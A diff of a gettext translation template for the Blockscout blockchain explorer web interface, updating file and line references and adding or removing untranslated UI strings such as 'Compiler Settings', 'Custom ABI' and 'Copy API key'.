lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:55 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:54 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:54 #, elixir-autogen, elixir-format msgid "Collapse" msgstr "" #: lib/block_scout_web/templates/address_contract_verification_common_fields/_compiler_field.html.eex:3 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_compiler_field.html.eex:3 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:69 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:69 #, elixir-autogen, elixir-format msgid "Compiler" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:65 +#: lib/block_scout_web/templates/address_contract/index.html.eex:142 +#: lib/block_scout_web/templates/address_contract/index.html.eex:142 +#, elixir-autogen, elixir-format +msgid "Compiler Settings" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:71 +#: lib/block_scout_web/templates/address_contract/index.html.eex:71 #, elixir-autogen, elixir-format msgid "Compiler version" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:342 +#: lib/block_scout_web/views/transaction_view.ex:368 +#: lib/block_scout_web/views/transaction_view.ex:368 #, elixir-autogen, elixir-format msgid "Confirmed" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:119 +#: lib/block_scout_web/templates/transaction/overview.html.eex:127 +#: lib/block_scout_web/templates/transaction/overview.html.eex:127 #, elixir-autogen, elixir-format msgid "Confirmed by " msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:185 +#: lib/block_scout_web/templates/transaction/overview.html.eex:193 +#: lib/block_scout_web/templates/transaction/overview.html.eex:193 #, elixir-autogen, elixir-format msgid "Confirmed within" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:2 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:2 #: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:6 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:6 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:2 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:2 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:6 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:6 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:4 -#: lib/block_scout_web/templates/tokens/holder/index.html.eex:15 +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:4 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:16 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:16 #, elixir-autogen, elixir-format msgid "Connection Lost" msgstr "" +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:12 #: lib/block_scout_web/templates/address_coin_balance/index.html.eex:12 #: lib/block_scout_web/templates/block/index.html.eex:5 +#: lib/block_scout_web/templates/block/index.html.eex:5 #, elixir-autogen, elixir-format msgid "Connection Lost, click to load newer blocks" msgstr "" +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:15 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:15 #, elixir-autogen, elixir-format msgid "Connection Lost, click to load newer internal transactions" msgstr "" +#: lib/block_scout_web/templates/address_transaction/index.html.eex:11 #: lib/block_scout_web/templates/address_transaction/index.html.eex:11 #: lib/block_scout_web/templates/pending_transaction/index.html.eex:16 +#: lib/block_scout_web/templates/pending_transaction/index.html.eex:16 +#: lib/block_scout_web/templates/transaction/index.html.eex:22 #: lib/block_scout_web/templates/transaction/index.html.eex:22 #, elixir-autogen, elixir-format msgid "Connection Lost, click to load newer transactions" msgstr "" +#: lib/block_scout_web/templates/address_validation/index.html.eex:10 #: lib/block_scout_web/templates/address_validation/index.html.eex:10 #, elixir-autogen, elixir-format msgid "Connection Lost, click to load newer validations" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:90 +#: lib/block_scout_web/templates/address_contract/index.html.eex:96 +#: lib/block_scout_web/templates/address_contract/index.html.eex:96 #, elixir-autogen, elixir-format msgid "Constructor Arguments" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:51 -#: lib/block_scout_web/templates/transaction/overview.html.eex:221 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:78 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:78 +#, elixir-autogen, elixir-format +msgid "Constructor args" +msgstr "" + +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:52 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:52 +#: lib/block_scout_web/templates/transaction/overview.html.eex:273 +#: lib/block_scout_web/templates/transaction/overview.html.eex:273 #, elixir-autogen, elixir-format msgid "Contract" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:122 +#: lib/block_scout_web/templates/address_contract/index.html.eex:157 +#: lib/block_scout_web/templates/address_contract/index.html.eex:157 #, elixir-autogen, elixir-format msgid "Contract ABI" msgstr "" +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:18 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:18 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:29 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:29 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_contract_address_field.html.eex:3 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_contract_address_field.html.eex:3 -#: lib/block_scout_web/views/address_view.ex:102 +#: lib/block_scout_web/views/address_view.ex:108 +#: lib/block_scout_web/views/address_view.ex:108 #, elixir-autogen, elixir-format msgid "Contract Address" msgstr "" #: lib/block_scout_web/templates/transaction/_pending_tile.html.eex:16 -#: lib/block_scout_web/views/address_view.ex:42 -#: lib/block_scout_web/views/address_view.ex:76 +#: lib/block_scout_web/templates/transaction/_pending_tile.html.eex:16 +#: lib/block_scout_web/views/address_view.ex:48 +#: lib/block_scout_web/views/address_view.ex:48 +#: lib/block_scout_web/views/address_view.ex:82 +#: lib/block_scout_web/views/address_view.ex:82 #, elixir-autogen, elixir-format msgid "Contract Address Pending" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:457 +#: lib/block_scout_web/views/transaction_view.ex:497 +#: lib/block_scout_web/views/transaction_view.ex:497 #, elixir-autogen, elixir-format msgid "Contract Call" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:454 +#: lib/block_scout_web/views/transaction_view.ex:494 +#: lib/block_scout_web/views/transaction_view.ex:494 #, elixir-autogen, elixir-format msgid "Contract Creation" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:138 -#: lib/block_scout_web/templates/address_contract/index.html.eex:153 +#: lib/block_scout_web/templates/address_contract/index.html.eex:174 +#: lib/block_scout_web/templates/address_contract/index.html.eex:174 +#: lib/block_scout_web/templates/address_contract/index.html.eex:189 +#: lib/block_scout_web/templates/address_contract/index.html.eex:189 #, elixir-autogen, elixir-format msgid "Contract Creation Code" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:86 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:90 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:90 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:80 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:80 #, elixir-autogen, elixir-format msgid "Contract Libraries" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:93 +#: lib/block_scout_web/templates/address/overview.html.eex:75 +#: lib/block_scout_web/templates/address/overview.html.eex:75 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_contract_name_field.html.eex:3 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_contract_name_field.html.eex:3 #, elixir-autogen, elixir-format msgid "Contract Name" msgstr "" +#: lib/block_scout_web/templates/address_contract/index.html.eex:25 #: lib/block_scout_web/templates/address_contract/index.html.eex:25 #: lib/block_scout_web/templates/smart_contract/_functions.html.eex:11 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:11 #, elixir-autogen, elixir-format msgid "Contract is not verified. However, we found a verified contract with the same bytecode in Blockscout DB" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:57 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:47 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:47 +#, elixir-autogen, elixir-format +msgid "Contract name or address" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:63 +#: lib/block_scout_web/templates/address_contract/index.html.eex:63 #, elixir-autogen, elixir-format msgid "Contract name:" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:100 +#: lib/block_scout_web/templates/address_contract/index.html.eex:106 +#: lib/block_scout_web/templates/address_contract/index.html.eex:106 #, elixir-autogen, elixir-format msgid "Contract source code" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:144 +#: lib/block_scout_web/templates/address/overview.html.eex:120 +#: lib/block_scout_web/templates/address/overview.html.eex:120 +#, elixir-autogen, elixir-format +msgid "Contract was precompiled and created at genesis or contract creation transaction is missing" +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:5 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:5 +#, elixir-autogen, elixir-format +msgid "Contracts" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:180 +#: lib/block_scout_web/templates/address_contract/index.html.eex:180 #, elixir-autogen, elixir-format msgid "Contracts that self destruct in their constructors have no contract code published and cannot be verified." msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:40 +#: lib/block_scout_web/templates/layout/_footer.html.eex:42 +#: lib/block_scout_web/templates/layout/_footer.html.eex:42 #, elixir-autogen, elixir-format msgid "Contribute" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:124 +#: lib/block_scout_web/templates/address_contract/index.html.eex:159 +#: lib/block_scout_web/templates/address_contract/index.html.eex:159 #, elixir-autogen, elixir-format msgid "Copy ABI" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:37 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:6 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:6 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:6 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:6 +#, elixir-autogen, elixir-format +msgid "Copy API key" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/row.html.eex:8 +#: lib/block_scout_web/templates/account/tag_address/row.html.eex:8 +#: lib/block_scout_web/templates/account/tag_address/row.html.eex:8 +#: lib/block_scout_web/templates/account/tag_address/row.html.eex:8 +#: lib/block_scout_web/templates/account/tag_transaction/row.html.eex:11 +#: lib/block_scout_web/templates/account/tag_transaction/row.html.eex:11 +#: lib/block_scout_web/templates/account/tag_transaction/row.html.eex:11 +#: lib/block_scout_web/templates/account/tag_transaction/row.html.eex:11 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:7 +#: lib/block_scout_web/templates/address/overview.html.eex:38 #: lib/block_scout_web/templates/address/overview.html.eex:38 +#: lib/block_scout_web/templates/address/overview.html.eex:39 +#: lib/block_scout_web/templates/address/overview.html.eex:39 #: lib/block_scout_web/templates/block/overview.html.eex:104 +#: lib/block_scout_web/templates/block/overview.html.eex:104 +#: lib/block_scout_web/templates/block/overview.html.eex:105 #: lib/block_scout_web/templates/block/overview.html.eex:105 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:42 #: lib/block_scout_web/templates/tokens/overview/_details.html.eex:43 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:43 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:44 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:44 #, elixir-autogen, elixir-format msgid "Copy Address" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:140 -#: lib/block_scout_web/templates/address_contract/index.html.eex:156 +#: lib/block_scout_web/templates/address_contract/index.html.eex:144 +#: lib/block_scout_web/templates/address_contract/index.html.eex:144 #, elixir-autogen, elixir-format -msgid "Copy Contract Creation Code" +msgid "Copy Compiler Settings" msgstr "" -#: lib/block_scout_web/templates/address_decompiled_contract/index.html.eex:19 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:6 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:6 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:6 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:6 #, elixir-autogen, elixir-format -msgid "Copy Decompiled Contract Code" +msgid "Copy Contract Address" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:183 -#: lib/block_scout_web/templates/address_contract/index.html.eex:193 +#: lib/block_scout_web/templates/address_contract/index.html.eex:176 +#: lib/block_scout_web/templates/address_contract/index.html.eex:176 +#: lib/block_scout_web/templates/address_contract/index.html.eex:192 +#: lib/block_scout_web/templates/address_contract/index.html.eex:192 +#, elixir-autogen, elixir-format +msgid "Copy Contract Creation Code" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:213 +#: lib/block_scout_web/templates/address_contract/index.html.eex:213 +#: lib/block_scout_web/templates/address_contract/index.html.eex:223 +#: lib/block_scout_web/templates/address_contract/index.html.eex:223 #, elixir-autogen, elixir-format msgid "Copy Deployed ByteCode" msgstr "" -#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:14 -#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:15 -#: lib/block_scout_web/templates/transaction/overview.html.eex:201 -#: lib/block_scout_web/templates/transaction/overview.html.eex:202 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:7 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:17 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:17 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:18 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:18 +#: lib/block_scout_web/templates/transaction/overview.html.eex:253 +#: lib/block_scout_web/templates/transaction/overview.html.eex:253 +#: lib/block_scout_web/templates/transaction/overview.html.eex:254 +#: lib/block_scout_web/templates/transaction/overview.html.eex:254 #, elixir-autogen, elixir-format msgid "Copy From Address" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:129 #: lib/block_scout_web/templates/block/overview.html.eex:129 #: lib/block_scout_web/templates/block/overview.html.eex:130 +#: lib/block_scout_web/templates/block/overview.html.eex:130 #, elixir-autogen, elixir-format msgid "Copy Hash" msgstr "" +#: lib/block_scout_web/templates/tokens/instance/metadata/index.html.eex:20 #: lib/block_scout_web/templates/tokens/instance/metadata/index.html.eex:20 #, elixir-autogen, elixir-format msgid "Copy Metadata" msgstr "" #: lib/block_scout_web/templates/block/overview.html.eex:149 +#: lib/block_scout_web/templates/block/overview.html.eex:149 +#: lib/block_scout_web/templates/block/overview.html.eex:150 #: lib/block_scout_web/templates/block/overview.html.eex:150 #, elixir-autogen, elixir-format msgid "Copy Parent Hash" msgstr "" -#: lib/block_scout_web/templates/transaction_raw_trace/index.html.eex:15 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:9 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:9 #, elixir-autogen, elixir-format msgid "Copy Raw Trace" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:102 -#: lib/block_scout_web/templates/address_contract/index.html.eex:113 +#: lib/block_scout_web/templates/address_contract/index.html.eex:120 +#: lib/block_scout_web/templates/address_contract/index.html.eex:120 +#: lib/block_scout_web/templates/address_contract/index.html.eex:132 +#: lib/block_scout_web/templates/address_contract/index.html.eex:132 #, elixir-autogen, elixir-format msgid "Copy Source Code" msgstr "" -#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:31 -#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:32 -#: lib/block_scout_web/templates/transaction/overview.html.eex:227 -#: lib/block_scout_web/templates/transaction/overview.html.eex:228 -#: lib/block_scout_web/templates/transaction/overview.html.eex:234 -#: lib/block_scout_web/templates/transaction/overview.html.eex:235 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:34 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:34 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:35 +#: lib/block_scout_web/templates/transaction/_total_transfers_from_to.html.eex:35 +#: lib/block_scout_web/templates/transaction/overview.html.eex:280 +#: lib/block_scout_web/templates/transaction/overview.html.eex:280 +#: lib/block_scout_web/templates/transaction/overview.html.eex:281 +#: lib/block_scout_web/templates/transaction/overview.html.eex:281 +#: lib/block_scout_web/templates/transaction/overview.html.eex:288 +#: lib/block_scout_web/templates/transaction/overview.html.eex:288 +#: lib/block_scout_web/templates/transaction/overview.html.eex:289 +#: lib/block_scout_web/templates/transaction/overview.html.eex:289 #, elixir-autogen, elixir-format msgid "Copy To Address" msgstr "" #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:32 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:32 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:33 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:33 #, elixir-autogen, elixir-format msgid "Copy Token ID" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:82 +#: lib/block_scout_web/templates/transaction/overview.html.eex:87 +#: lib/block_scout_web/templates/transaction/overview.html.eex:87 #, elixir-autogen, elixir-format msgid "Copy Transaction Hash" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:83 +#: lib/block_scout_web/templates/transaction/overview.html.eex:88 +#: lib/block_scout_web/templates/transaction/overview.html.eex:88 #, elixir-autogen, elixir-format msgid "Copy Txn Hash" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:464 +#: lib/block_scout_web/templates/transaction/overview.html.eex:571 +#: lib/block_scout_web/templates/transaction/overview.html.eex:571 #, elixir-autogen, elixir-format msgid "Copy Txn Hex Input" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:470 +#: lib/block_scout_web/templates/transaction/overview.html.eex:577 +#: lib/block_scout_web/templates/transaction/overview.html.eex:577 #, elixir-autogen, elixir-format msgid "Copy Txn UTF-8 Input" msgstr "" +#: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:20 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:20 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:41 -#: lib/block_scout_web/templates/transaction/overview.html.eex:463 -#: lib/block_scout_web/templates/transaction/overview.html.eex:469 -#: lib/block_scout_web/templates/transaction_raw_trace/index.html.eex:14 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:41 +#: lib/block_scout_web/templates/transaction/overview.html.eex:570 +#: lib/block_scout_web/templates/transaction/overview.html.eex:570 +#: lib/block_scout_web/templates/transaction/overview.html.eex:576 +#: lib/block_scout_web/templates/transaction/overview.html.eex:576 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:8 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:8 #, elixir-autogen, elixir-format msgid "Copy Value" msgstr "" -#: lib/block_scout_web/views/internal_transaction_view.ex:25 +#: lib/block_scout_web/views/internal_transaction_view.ex:26 +#: lib/block_scout_web/views/internal_transaction_view.ex:26 #, elixir-autogen, elixir-format msgid "Create" msgstr "" -#: lib/block_scout_web/views/internal_transaction_view.ex:26 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:12 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:12 +#, elixir-autogen, elixir-format +msgid "Create a Custom ABI to interact with contracts." +msgstr "" + +#: lib/block_scout_web/templates/account/api_key/index.html.eex:12 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:12 +#, elixir-autogen, elixir-format +msgid "Create an API key to use with your RPC and EthRPC API requests." +msgstr "" + +#: lib/block_scout_web/views/internal_transaction_view.ex:27 +#: lib/block_scout_web/views/internal_transaction_view.ex:27 #, elixir-autogen, elixir-format msgid "Create2" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:120 +#: lib/block_scout_web/templates/address/overview.html.eex:102 +#: lib/block_scout_web/templates/address/overview.html.eex:102 #, elixir-autogen, elixir-format msgid "Creator" msgstr "" #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:146 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:146 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:116 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:116 #, elixir-autogen, elixir-format msgid "Curl" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:92 +#: lib/block_scout_web/templates/transaction/overview.html.eex:97 +#: lib/block_scout_web/templates/transaction/overview.html.eex:97 #, elixir-autogen, elixir-format msgid "Current transaction state: Success, Failed (Error), or Pending (In Process)" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:69 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:20 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:20 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:18 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:18 +#, elixir-autogen, elixir-format +msgid "Custom" +msgstr "" + +#: lib/block_scout_web/templates/account/common/_nav.html.eex:19 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:19 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:7 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:7 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:19 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:19 +#, elixir-autogen, elixir-format +msgid "Custom ABI" +msgstr "" + +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:25 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:25 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:23 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:23 +#, elixir-autogen, elixir-format +msgid "Custom ABI from account" +msgstr "" + +#: lib/block_scout_web/templates/chain/show.html.eex:70 +#: lib/block_scout_web/templates/chain/show.html.eex:70 #, elixir-autogen, elixir-format msgid "Daily Transactions" msgstr "" -#: lib/block_scout_web/templates/address_logs/_logs.html.eex:101 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:98 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:98 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:7 +#: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:7 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:23 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:23 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:121 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:130 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:130 #, elixir-autogen, elixir-format msgid "Data" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:70 #: lib/block_scout_web/templates/block/overview.html.eex:70 #, elixir-autogen, elixir-format msgid "Date & time at which block was produced." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:171 +#: lib/block_scout_web/templates/transaction/overview.html.eex:179 +#: lib/block_scout_web/templates/transaction/overview.html.eex:179 #, elixir-autogen, elixir-format msgid "Date & time of transaction inclusion, including length of time for confirmation." msgstr "" #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:52 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:130 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:52 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:131 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:131 #, elixir-autogen, elixir-format msgid "Decimals" msgstr "" +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:32 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:32 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:38 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:38 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:53 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:53 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:34 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:42 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:57 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:73 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:43 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:43 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:51 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:51 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:66 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:66 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:82 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:82 #, elixir-autogen, elixir-format msgid "Decoded" msgstr "" -#: lib/block_scout_web/views/address_view.ex:365 -#, elixir-autogen, elixir-format -msgid "Decompiled Code" -msgstr "" - -#: lib/block_scout_web/templates/address/_tabs.html.eex:75 -#, elixir-autogen, elixir-format -msgid "Decompiled code" -msgstr "" - -#: lib/block_scout_web/templates/address_decompiled_contract/index.html.eex:17 -#, elixir-autogen, elixir-format -msgid "Decompiled contract code" -msgstr "" - -#: lib/block_scout_web/templates/address_decompiled_contract/index.html.eex:10 -#, elixir-autogen, elixir-format -msgid "Decompiler version" -msgstr "" - +#: lib/block_scout_web/views/internal_transaction_view.ex:23 #: lib/block_scout_web/views/internal_transaction_view.ex:23 #, elixir-autogen, elixir-format msgid "Delegate Call" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:181 -#: lib/block_scout_web/templates/address_contract/index.html.eex:189 +#: lib/block_scout_web/templates/address_contract/index.html.eex:211 +#: lib/block_scout_web/templates/address_contract/index.html.eex:211 +#: lib/block_scout_web/templates/address_contract/index.html.eex:219 +#: lib/block_scout_web/templates/address_contract/index.html.eex:219 #, elixir-autogen, elixir-format msgid "Deployed ByteCode" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:53 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:53 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:188 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:188 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:60 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:60 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:150 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:150 #, elixir-autogen, elixir-format msgid "Description" msgstr "" +#: lib/block_scout_web/templates/address/overview.html.eex:30 #: lib/block_scout_web/templates/address/overview.html.eex:30 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:166 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:166 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:127 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:127 #, elixir-autogen, elixir-format msgid "Details" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:159 #: lib/block_scout_web/templates/block/overview.html.eex:159 #, elixir-autogen, elixir-format msgid "Difficulty" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:145 +#: lib/block_scout_web/templates/address_contract/index.html.eex:181 +#: lib/block_scout_web/templates/address_contract/index.html.eex:181 #, elixir-autogen, elixir-format msgid "Displaying the init data provided of the creating transaction." msgstr "" -#: lib/block_scout_web/templates/csv_export/index.html.eex:24 +#: lib/block_scout_web/templates/common_components/_csv_export_button.html.eex:4 +#: lib/block_scout_web/templates/common_components/_csv_export_button.html.eex:4 +#: lib/block_scout_web/templates/csv_export/index.html.eex:33 +#: lib/block_scout_web/templates/csv_export/index.html.eex:33 #, elixir-autogen, elixir-format msgid "Download" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:72 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:72 +#, elixir-autogen, elixir-format +msgid "Drop all Solidity contract source files into the drop zone." +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:72 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:72 +#, elixir-autogen, elixir-format +msgid "Drop all Solidity or Yul contract source files into the drop zone." +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:18 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:18 #, elixir-autogen, elixir-format msgid "Drop sources and metadata JSON file or click here" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:67 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:67 #, elixir-autogen, elixir-format msgid "Drop sources or click here" msgstr "" +#: 